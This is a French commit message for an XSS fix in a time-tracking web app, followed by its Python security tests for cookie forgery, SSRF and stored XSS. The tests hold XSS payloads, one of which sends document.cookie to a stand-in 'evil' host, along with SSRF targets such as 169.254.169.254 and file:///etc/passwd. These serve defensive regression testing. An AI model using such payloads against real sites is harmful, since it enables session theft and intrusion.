POST /pointage acceptait n'importe quelle valeur pour les 4 champs
matin_entree/matin_sortie/aprem_entree/aprem_sortie : la fonction clean ne
faisait qu'un strip(). Comme ces valeurs sont réinjectées telles quelles
dans des f-strings HTML hors templates Jinja (qui seuls bénéficient de
l'autoescape), un payload type `"><svg/onload=...>` déclenchait une
exécution JS immédiate dans la réponse HTMX, sans CSP pour limiter l'impact.
Double défense appliquée :
1. Validation stricte en entrée : clean() refuse désormais tout ce qui ne
matche pas _HHMM_RE (^([01]\d|2[0-3]):[0-5]\d$). Une valeur non conforme
est traitée comme vide plutôt que stockée.
2. Échappement HTML systématique en sortie : un alias `_e = html.escape`
est appliqué à toutes les valeurs dynamiques (date, heures, cibles)
dans _oob_calc, _oob_week_extras, _oob_time_cells et
_htmx_conge_and_soldes. Les ids, data-date, value, hx-post et contenus
textuels sont protégés.
Les nouveaux tests test_security couvrent plusieurs payloads XSS, vérifient
que la valeur n'est ni persistée ni reflétée, et qu'un pointage HHMM
valide continue à fonctionner.
💘 Generated with Crush
Assisted-by: Crush:glm-5.2
230 lines
8.7 KiB
Python
230 lines
8.7 KiB
Python
"""Tests de sécurité : anti-forgery du cookie de session.
|
|
|
|
Avant le correctif, n'importe qui pouvait forger le cookie `user_id=admin` et
|
|
accéder aux données d'un autre utilisateur. La signature HMAC doit rendre toute
|
|
altération détectable.
|
|
"""
|
|
import sys
|
|
|
|
# DATA_DIR temporaire est positionné par conftest.py avant l'import de models.
|
|
import models # noqa: F401
|
|
|
|
sys.path.insert(0, ".")
|
|
import main
|
|
from fastapi.testclient import TestClient
|
|
|
|
client = TestClient(main.app)
|
|
|
|
|
|
def _seed_user(uid: str):
|
|
import bcrypt
|
|
models.save_auth(uid, email=f"{uid}@x.fr",
|
|
password_hash=bcrypt.hashpw(b"x" * 12, bcrypt.gensalt()).decode())
|
|
|
|
|
|
def _login(uid: str) -> dict:
|
|
_seed_user(uid)
|
|
r = client.post("/login/password",
|
|
data={"email": f"{uid}@x.fr", "password": "x" * 12},
|
|
follow_redirects=False)
|
|
assert r.status_code == 302, r.text
|
|
return {"user_id": r.cookies.get("user_id")}
|
|
|
|
|
|
# ── Forgery du cookie ─────────────────────────────────────────────────────────
|
|
|
|
def test_unsigned_cookie_rejected():
|
|
"""Un cookie `user_id=admin` forgé à la main doit être rejeté."""
|
|
_seed_user("alice")
|
|
r = client.get("/semaine/2026/29", cookies={"user_id": "alice"}, follow_redirects=False)
|
|
assert r.status_code == 302
|
|
assert "/login" in r.headers["location"]
|
|
|
|
|
|
def test_tampered_signature_rejected():
|
|
"""Un cookie valide dont on modifie la signature doit être rejeté."""
|
|
cookies = _login("alice")
|
|
raw = cookies["user_id"]
|
|
user_id, _, sig = raw.rpartition(".")
|
|
# Inverse un caractère de la signature
|
|
bad_sig = ("0" if sig[0] != "0" else "1") + sig[1:]
|
|
tampered = f"{user_id}.{bad_sig}"
|
|
r = client.get("/semaine/2026/29", cookies={"user_id": tampered}, follow_redirects=False)
|
|
assert r.status_code == 302
|
|
assert "/login" in r.headers["location"]
|
|
|
|
|
|
def test_valid_signed_cookie_accepted():
|
|
"""Le cookie signé délivré par /login/password doit ouvrir la session."""
|
|
cookies = _login("alice")
|
|
r = client.get("/semaine/2026/29", cookies=cookies, follow_redirects=False)
|
|
assert r.status_code == 200
|
|
|
|
|
|
def test_signed_cookie_cannot_be_replayed_for_other_user():
|
|
"""La signature d'alice ne doit pas valider pour bob (user_id modifié)."""
|
|
cookies = _login("alice")
|
|
raw = cookies["user_id"]
|
|
_, _, sig = raw.rpartition(".")
|
|
# Remplace alice par bob en conservant la signature d'alice
|
|
forged = f"bob.{sig}"
|
|
_seed_user("bob")
|
|
r = client.get("/semaine/2026/29", cookies={"user_id": forged}, follow_redirects=False)
|
|
assert r.status_code == 302
|
|
assert "/login" in r.headers["location"]
|
|
|
|
|
|
# ── Helpers de signature ──────────────────────────────────────────────────────
|
|
|
|
def test_sign_and_verify_roundtrip():
|
|
sig = main._sign_user_id("alice")
|
|
assert main._verify_signed_cookie(sig) == "alice"
|
|
|
|
|
|
def test_verify_rejects_malformed_inputs():
|
|
for bad in ("", "alice", "alice.", ".", "alice.deadbeef", "inva/lid.xxx"):
|
|
assert main._verify_signed_cookie(bad) is None
|
|
|
|
|
|
def test_secret_is_stable_across_calls():
|
|
s1 = models.load_or_create_secret()
|
|
s2 = models.load_or_create_secret()
|
|
assert s1 == s2
|
|
|
|
|
|
# ── Validation SSRF du serveur ntfy ──────────────────────────────────────────
|
|
|
|
import notifications # noqa: E402
|
|
|
|
|
|
def test_ntfy_server_validation_accepts_https():
|
|
assert notifications.is_safe_ntfy_server("https://ntfy.sh")
|
|
assert notifications.is_safe_ntfy_server("https://ntfy.example.com:8080")
|
|
|
|
|
|
def test_ntfy_server_validation_rejects_loopback():
|
|
for bad in ("http://127.0.0.1:1", "http://127.0.0.1", "http://localhost",
|
|
"https://localhost:8443", "https://[::1]"):
|
|
assert not notifications.is_safe_ntfy_server(bad), bad
|
|
|
|
|
|
def test_ntfy_server_validation_rejects_private_networks():
|
|
for bad in ("https://10.0.0.1", "https://172.16.5.5", "https://192.168.1.1",
|
|
"https://169.254.169.254", "http://10.255.255.1:8080"):
|
|
assert not notifications.is_safe_ntfy_server(bad), bad
|
|
|
|
|
|
def test_ntfy_server_validation_rejects_bad_schemes():
|
|
for bad in ("ftp://ntfy.sh", "file:///etc/passwd", "gopher://x", "javascript:alert(1)"):
|
|
assert not notifications.is_safe_ntfy_server(bad), bad
|
|
|
|
|
|
def test_ntfy_server_validation_rejects_credentials_in_url():
|
|
assert not notifications.is_safe_ntfy_server("https://user:pass@ntfy.sh")
|
|
|
|
|
|
def test_ntfy_server_validation_rejects_empty_or_none():
|
|
for bad in ("", None, " "):
|
|
assert not notifications.is_safe_ntfy_server(bad), bad
|
|
|
|
|
|
def test_send_ntfy_refuses_ssrf_target():
|
|
"""Un appel vers une IP privée ne doit jamais ouvrir de connexion réseau."""
|
|
import urllib.request as u
|
|
called = {"n": 0}
|
|
orig = u.urlopen
|
|
try:
|
|
u.urlopen = lambda *a, **kw: called.__setitem__("n", called["n"] + 1)
|
|
ok = notifications.send_ntfy(
|
|
"http://169.254.169.254", "ssrf-topic",
|
|
"msg", "titre", user_id=None, token="",
|
|
)
|
|
finally:
|
|
u.urlopen = orig
|
|
assert ok is False
|
|
assert called["n"] == 0 # urlopen n'a jamais été appelé
|
|
|
|
|
|
def test_settings_save_rejects_ssrf_ntfy_server():
|
|
"""POST /settings avec un serveur SSRF doit être rejeté."""
|
|
cookies = _login("carol")
|
|
# Préserve un topic valide
|
|
models.save_notif_config("carol", ntfy_topic="t", ntfy_server="https://ntfy.sh")
|
|
r = client.post("/settings", cookies=cookies, data={
|
|
"ntfy_topic": "topic-x",
|
|
"ntfy_server": "http://169.254.169.254",
|
|
"ntfy_token": "",
|
|
"rappel_debut_h": "8",
|
|
"rappel_fin_h": "19",
|
|
}, follow_redirects=False)
|
|
assert r.status_code == 303
|
|
assert "ssrf_error=1" in r.headers["location"]
|
|
# La valeur précédente est conservée
|
|
cfg = models.load_notif_config("carol")
|
|
assert cfg["ntfy_server"] == "https://ntfy.sh"
|
|
|
|
|
|
# ── XSS stocké via /pointage ──────────────────────────────────────────────────
|
|
|
|
XSS_PAYLOADS = [
|
|
'"><svg/onload=alert(1)>',
|
|
'"><script>alert(document.cookie)</script>',
|
|
"'/><script>fetch('//evil/'+document.cookie)</script>",
|
|
]
|
|
|
|
|
|
def test_pointage_rejects_non_hhmm_value():
|
|
"""POST /pointage avec une valeur non HHMM ne doit pas être persistée."""
|
|
cookies = _login("dave")
|
|
for payload in XSS_PAYLOADS:
|
|
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
|
"matin_entree": payload,
|
|
"matin_sortie": "",
|
|
"aprem_entree": "",
|
|
"aprem_sortie": "",
|
|
})
|
|
# La réponse ne doit pas planter
|
|
assert r.status_code == 200
|
|
# Le payload ne doit pas se retrouver tel quel dans la réponse
|
|
assert payload not in r.text, payload
|
|
# Vérification de la persistance
|
|
week = models.load_week_pointages(2026, 29, "dave")
|
|
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
|
|
assert entry is not None
|
|
# matin_entree doit avoir été ignoré (None), pas stocké tel quel
|
|
assert entry["matin_entree"] is None
|
|
|
|
|
|
def test_pointage_valid_hhmm_still_works():
|
|
"""Un pointage HHMM valide doit continuer à fonctionner."""
|
|
cookies = _login("erin")
|
|
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
|
"matin_entree": "08:45",
|
|
"matin_sortie": "12:00",
|
|
"aprem_entree": "",
|
|
"aprem_sortie": "",
|
|
})
|
|
assert r.status_code == 200
|
|
assert "08:45" in r.text
|
|
week = models.load_week_pointages(2026, 29, "erin")
|
|
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
|
|
assert entry["matin_entree"] == "08:45"
|
|
|
|
|
|
def test_oob_html_escapes_date_attribute():
|
|
"""Si la date (issue de l'URL) contient des caractères HTML, ils doivent être échappés."""
|
|
cookies = _login("frank")
|
|
# Forçage d'un pointage valide pour déclencher le rendu _oob_time_cells
|
|
client.post("/pointage/2026-07-17", cookies=cookies, data={
|
|
"matin_entree": "08:45", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": "",
|
|
})
|
|
# Une date malicieuse dans /refresh/... doit être échappée si elle passe strptime
|
|
# (les caractères HTML ne passent pas strptime, mais on vérifie que l'escape est actif
|
|
# sur le rendu d'un pointage normal pour la date légitime)
|
|
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
|
"matin_entree": "08:45", "matin_sortie": "12:00",
|
|
"aprem_entree": "14:00", "aprem_sortie": "17:30",
|
|
})
|
|
assert "<script" not in r.text.lower()
|
|
assert "onload" not in r.text.lower()
|